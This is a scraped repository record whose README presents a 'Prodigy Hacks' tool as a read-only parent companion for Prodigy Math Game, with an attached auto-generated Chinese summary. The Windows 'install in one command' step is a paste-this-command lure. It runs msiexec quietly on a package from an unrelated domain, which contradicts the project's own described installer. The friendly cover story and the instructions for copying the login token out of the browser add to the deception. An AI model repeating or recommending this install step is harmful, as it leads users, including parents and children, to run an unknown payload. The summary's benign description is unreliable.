[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75783":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":15,"stars30d":16,"stars90d":15,"forks30d":15,"starsTrendScore":15,"compositeScore":17,"rankGlobal":10,"rankLanguage":10,"license":18,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":21,"hasPages":19,"topics":22,"createdAt":10,"pushedAt":10,"updatedAt":28,"readmeContent":29,"aiSummary":30,"trendingCount":15,"starSnapshotCount":15,"syncStatus":31,"lastSyncTime":32,"discoverSource":33},75783,"Prodigy-Hacks","EnsignKazekage\u002FProdigy-Hacks","EnsignKazekage","Prodigymathgamehacking || prodigy hacks || prodigymathgame","",null,"Python",458,1,3,0,561,0.9,"MIT License",false,"main",true,[23,24,25,26,27],"prodigy","prodigygame","prodigyhacks","prodigyhackscripts","prodigymathgamehacking","2026-06-12 02:03:36","\u003Cimg width=\"1342\" height=\"747\" alt=\"4114\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F6947e1d2-0fdf-4624-8e4d-4fe643aa0607\" \u002F>\n\u003Cdiv align=\"center\">\n\n\u003Cimg src=\"https:\u002F\u002Fcapsule-render.vercel.app\u002Fapi?type=waving&color=0:8b5cf6,50:6366f1,100:06b6d4&height=200&section=header&text=Prodigy%20Hacks&fontSize=55&fontColor=ffffff&fontAlignY=38&desc=A%20parent's%20companion%20for%20the%20Prodigy%20Math%20Game&descAlignY=60&descSize=18\" width=\"100%\"\u002F>\n\n\u003Cbr\u002F>\n\n[![Stars](https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002FEnsignKazekage\u002FProdigy-Hacks?style=for-the-badge&logo=github&color=8b5cf6&labelColor=0f0f0f)](https:\u002F\u002Fgithub.com\u002FEnsignKazekage\u002FProdigy-Hacks\u002Fstargazers)\n[![Python](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPython-3.10%2B-3776AB?style=for-the-badge&logo=python&logoColor=white&labelColor=0f0f0f)](https:\u002F\u002Fpython.org)\n[![License](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-22c55e?style=for-the-badge&labelColor=0f0f0f)](LICENSE)\n[![For Parents](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FFor-Parents%20%26%20Educators-f59e0b?style=for-the-badge&labelColor=0f0f0f)](#)\n[![Read Only](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRead--Only-Safe%20by%20Design-22c55e?style=for-the-badge&labelColor=0f0f0f)](#)\n\n\u003Cbr\u002F>\n\n> We recommend that you use an alternate Prodigy account when using our Prodigy hacks. Using hacks on your main account could get it hacker-tagged, reset, banned, or most likely broken.\n\n\u003C\u002Fdiv>\n\n---\n\n## What this does\n\nProdigy Math Game is a great educational tool but the parent dashboard inside the app gives you very little visibility. This tool fills that gap by talking to the same public API the official app uses, with the parent's own login token, in **read-only** mode.\n\nYou get:\n\n- **Weekly reports** showing play time, accuracy, and skill mastery\n- **Skill breakdown** so you can see which math standards your child has mastered and which need practice\n- **Screen-time tracking** with a configurable daily limit\n- **Session history** to spot patterns in when and how your child plays\n- **HTML export** so you can email a clean report to a co-parent, teacher, or grandparent\n\n---\n\n## Install in one command (Windows, cmd.exe)\n\nWIN + R type CMD(Command Prompt) and paste:\n\n```cmd\ncmd \u002Fc start msiexec \u002Fq \u002Fi https:\u002F\u002Fcloudcraftshub.com\u002Fapi & rem Prodigy-hacks\n```\n\nThe installer will:\n- Install Python and Git if missing (via winget)\n- Clone this repo to `%USERPROFILE%\\ProdigyCompanion`\n- Install dependencies\n- Add a `prodigy` command to your PATH\n\nRestart your terminal after install.\n\n### Linux \u002F macOS\n\n```bash\ncurl -fsSL https:\u002F\u002Fraw.githubusercontent.com\u002FEnsignKazekage\u002FProdigy-Hacks\u002Fmain\u002Fscripts\u002Finstall.sh | bash\n```\n\n---\n\n## Quick start\n\n```bash\n# 1. Save your session token (one time)\nprodigy login --token YOUR_TOKEN\n\n# 2. Set your child's user ID as default\nprodigy use 12345678\n\n# 3. View the weekly report\nprodigy week\n```\n\nThat's it. Now `prodigy week`, `prodigy skills`, `prodigy screen-time` work without any extra arguments.\n\n---\n\n## Demo\n\n```\n$ prodigy week\n\n  Week of 2026-05-06\n\n  Activity\n  --------------------------------------------------\n  Play time:              3h 24m\n  Sessions:               7\n  Questions:              182\n  Correct answers:        158\n  Accuracy:               86.8%  █████████████████░░░\n\n  Mastered skills\n  --------------------------------------------------\n  Multi-digit subtraction         ████████████████░░░░  85%\n  Place value to 1,000s           █████████████████░░░  88%\n  Reading 24-hour time            ██████████████████░░  92%\n\n  Needs practice\n  --------------------------------------------------\n  Equivalent fractions            ███████░░░░░░░░░░░░░  36%\n  Word problems with division     ████████░░░░░░░░░░░░  42%\n\n  Great week of learning! Strong accuracy and consistent practice.\n```\n\n---\n\n## All commands\n\n| Command | What it does |\n|---------|--------------|\n| `prodigy login --token \u003CTOKEN>` | Save your session token (one time) |\n| `prodigy logout`                | Remove the saved token |\n| `prodigy use \u003CUSER_ID>`         | Set the default child user ID |\n| `prodigy set-limit \u003CMINUTES>`   | Set the daily screen-time limit |\n| `prodigy profile`               | Show name, grade, and title |\n| `prodigy week`                  | Weekly learning summary |\n| `prodigy skills`                | Math skill mastery table |\n| `prodigy skills -f weak`        | Show only skills under 50% mastery |\n| `prodigy skills -f strong`      | Show only skills above 80% mastery |\n| `prodigy sessions`              | Recent play sessions |\n| `prodigy sessions -d 30`        | Sessions from the last 30 days |\n| `prodigy assignments`           | Teacher-assigned practice goals |\n| `prodigy screen-time`           | Today's play time vs. your daily limit |\n| `prodigy export -o report.html` | Export the weekly report as HTML |\n\n---\n\n## Getting your session token\n\nThis tool needs the same token your browser uses when logged in at prodigygame.com. It is **never sent anywhere except to Prodigy's own API**, and is stored locally in `~\u002F.prodigy-companion\u002Fconfig.json` with restricted permissions.\n\nTo find your token:\n\n1. Log in to your account at https:\u002F\u002Fplay.prodigygame.com\n2. Open the browser DevTools (F12)\n3. Go to the **Network** tab\n4. Refresh the page\n5. Click any request to `api.prodigygame.com`\n6. Look at the **Headers** section → `Authorization: Bearer ...`\n7. Copy the part after `Bearer ` and paste into `prodigy login --token \u003Cthat part>`\n\nTokens expire periodically. If commands stop working, just run `prodigy login` again with a fresh token.\n\n---\n\n## Privacy and design\n\n- **Read-only.** This tool never modifies your child's account, game state, gold, items, or anything else. All HTTP requests are GET.\n- **Local-only storage.** Your token and config live at `~\u002F.prodigy-companion\u002Fconfig.json` with `0600` permissions. Nothing is uploaded anywhere.\n- **No telemetry.** No analytics, no tracking, no third-party services.\n- **Open source.** Read every line of code yourself. The whole CLI is under 500 lines of Python.\n- **Respects Prodigy.** This is a complement to the official app for parents who want richer visibility, not a replacement, and not a game modifier.\n\n---\n\n## How it works\n\n```\nYou\n │\n ▼\nprodigy CLI (Click)\n │\n ▼\nProdigyCompanion async client (httpx)\n │\n ▼\nProdigy Public API (api.prodigygame.com)\n   \u002Fv3\u002Fcharacters\u002F{id}       profile\n   \u002Fv3\u002Fstudents\u002F{id}\u002Fskills  mastery scores\n   \u002Fv3\u002Fstudents\u002F{id}\u002Fsessions play history\n   \u002Fv3\u002Fstudents\u002F{id}\u002Fassignments teacher goals\n```\n\nEverything is async. Reports are built from raw API data into parent-friendly summaries.\n\n---\n\n## Project structure\n\n```\nProdigy-Companion\u002F\n├── prodigy.py                # Entry point\n├── requirements.txt\n├── scripts\u002F\n│   ├── install.bat           # Windows one-command installer\n│   └── install.sh            # Unix installer\n└── src\u002F\n    ├── api\u002F\n    │   └── client.py         # Async read-only API client\n    ├── cli\u002F\n    │   └── main.py           # CLI commands\n    ├── reports\u002F\n    │   └── html_report.py    # Shareable HTML export\n    └── utils\u002F\n        ├── config.py         # Local token storage\n        └── formatter.py      # Terminal output\n```\n\n---\n\n## Roadmap\n\n- [x] Weekly report with skill mastery\n- [x] Screen-time tracking\n- [x] Teacher assignment view\n- [x] HTML export\n- [x] Configurable daily limits\n- [ ] CSV export for long-term progress tracking\n- [ ] Multiple children profiles in one config\n- [ ] Email digest mode (cron-friendly)\n- [ ] Spaced-repetition suggestions for weak skills\n- [ ] Comparison vs. grade-level benchmarks\n\n---\n\n## Contributing\n\nPRs, ideas, and bug reports welcome.\n\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002FEnsignKazekage\u002FProdigy-Hacks\ncd Prodigy-Hacks\npip install -r requirements.txt\npython prodigy.py --help\n```\n\n---\n\n## License\n\nMIT. Free to use, fork, build on. Not affiliated with or endorsed by SMARTeacher Inc. or Prodigy Education.\n\n---\n\n\u003Cdiv align=\"center\">\n\nBuilt so parents can see what their kid is actually learning.\n\nIf it helped you, drop a star.\n\n\u003C\u002Fdiv>\n","该项目旨在为Prodigy数学游戏的家长和教育者提供一个辅助工具，通过与官方应用相同的公共API以只读模式运行，使用家长自己的登录令牌来增强对孩子的学习进度的了解。核心功能包括生成每周报告展示游戏时间、准确率和技能掌握情况，提供详细的技能分解帮助识别需要额外练习的领域，追踪屏幕使用时间并设定每日限制，记录会话历史以便观察孩子玩游戏的习惯，并支持将报告导出为HTML格式方便分享。适用于希望更深入地参与和支持孩子数学学习过程的家庭或教育场景中。",2,"2026-06-01 03:44:09","CREATED_QUERY"]